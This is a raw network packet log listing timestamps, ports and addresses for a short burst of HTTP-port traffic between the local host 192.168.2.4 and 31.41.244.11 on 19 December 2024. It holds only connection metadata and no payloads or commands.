Dec 19, 2024 14:10:30.580131054 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.580837011 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.580879927 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.580954075 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.581007957 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.581607103 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.581662893 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.581682920 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.581747055 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.582489967 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.582542896 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.582601070 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.582654953 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.583427906 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.583491087 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.583503962 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.583575964 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.584219933 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.584316015 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.584342003 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.584388971 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.584954977 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.585069895 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.585072994 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.585117102 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.585809946 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.585869074 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.585921049 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.586025953 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.586635113 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.586685896 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.586729050 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.586796999 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.587497950 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.587568998 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.587620974 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.587672949 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.588386059 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.588450909 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.588521957 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.588597059 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.589191914 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.589247942 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.589461088 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.589510918 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.589987993 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.590029001 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.590040922 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.590071917 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.590833902 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.590900898 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.590938091 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.590984106 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.591722012 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.591770887 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.591837883 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.591896057 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.592997074 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.593064070 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.593095064 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.593142986 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.593733072 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.593775988 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.732336044 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.732449055 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.732465029 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.732534885 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.732781887 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.732839108 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.732883930 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.732943058 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.733588934 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.733710051 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.733721018 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.733809948 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.734472036 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.734545946 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.734605074 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.734663963 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.735296011 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.735378027 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.735419035 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.735490084 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.736093044 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.736166000 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.736210108 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.736278057 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.736974001 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.736979961 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.737040043 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.747109890 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.747157097 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.747220993 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.747492075 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.747570992 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.747622967 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.747689009 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.748418093 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.748466969 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.748491049 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.748521090 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.749227047 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.749293089 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.749360085 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.749438047 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.749984980 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.750046015 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.750093937 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.750148058 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.750829935 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.750904083 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.750961065 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.751071930 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.751669884 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.751734972 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.751811028 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.751872063 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.752495050 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.752608061 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.752645016 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.752762079 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.753371000 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.753457069 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.753537893 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.753608942 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.754173994 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.754232883 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.754234076 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.754281044 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.755023956 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.755088091 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.755126953 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.755192041 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.755934000 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.756015062 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.756017923 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.756089926 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.756681919 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.756783009 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.756787062 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.756865025 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.757591963 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.757667065 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.757671118 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.757740021 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.758481979 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.758543015 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.758546114 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.758637905 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.759232044 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.759344101 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.759433985 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.759497881 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.760063887 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.760129929 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.760261059 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.760328054 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.760911942 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.760974884 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.761012077 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.761065960 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.761782885 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.761801958 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.761858940 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.761907101 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.762615919 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.762682915 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.762686968 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.762739897 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.763448000 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.763497114 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.763587952 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.764261961 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.764391899 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.764457941 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.765110016 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.765161037 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.765183926 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.765218019 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.765955925 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.766045094 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.766091108 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.766156912 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.766841888 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.766902924 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.766978979 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.767040968 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.767637968 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.767770052 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.767806053 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.767837048 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.768484116 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.768548965 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.768603086 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.768661022 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.769313097 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.769402981 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.769411087 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.769475937 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.770137072 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.770203114 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.770240068 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.770328045 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.770978928 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.771043062 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.771080971 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.771142960 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.771826982 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.771914959 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.771918058 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.771990061 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.772650957 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.772736073 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.772806883 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.772882938 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.773581982 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.773622036 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.773710966 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.774336100 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.774404049 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.774426937 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.774496078 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.775219917 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.775299072 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.775366068 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.775434017 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.776097059 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.776154995 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.776159048 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.776226997 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.776854038 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.776947975 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.777007103 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.777077913 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.777725935 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.777782917 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.777834892 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.777920961 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.778542995 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.778634071 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.778645039 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.778711081 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.779445887 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.779521942 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.779587030 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.779694080 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.780222893 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.780287981 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.780296087 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.780359030 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.781060934 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.781169891 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.781223059 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.781280041 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.781891108 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.781955004 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.782063961 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.782120943 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.782718897 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.782772064 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.782834053 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.782917976 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.783560991 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.783621073 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.783633947 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.783725023 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.784431934 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.784496069 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.784568071 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.785291910 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.785348892 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.924633026 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.924758911 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.924840927 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.924942017 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.925092936 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.925174952 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.925188065 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.925229073 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.925924063 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.925988913 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.926023006 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.926240921 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.926831961 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.926938057 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.926959991 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.927014112 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.928034067 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.928040028 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.928096056 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.928714037 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.928786039 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.928805113 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.928885937 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.929523945 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.929589033 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.929683924 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.929795980 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.954170942 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.954289913 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.954302073 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.954341888 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.954463005 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.954521894 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.954540014 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.954638004 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.955219030 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.955324888 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.955327034 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.955391884 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.956034899 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.956105947 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.956110954 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.956178904 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.956192970 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.956990004 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.957077026 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.957134962 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.957196951 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.957798958 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.957884073 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.957892895 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.957976103 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.958584070 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.958703041 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.958714962 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.958754063 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.959431887 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.959500074 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.959531069 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.959638119 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.960244894 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.960299015 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.960458040 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.960649967 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.961085081 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.961136103 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.961200953 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:30.961267948 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:30.961909056 CET	80	49800	31.41.244.11	192.168.2.4
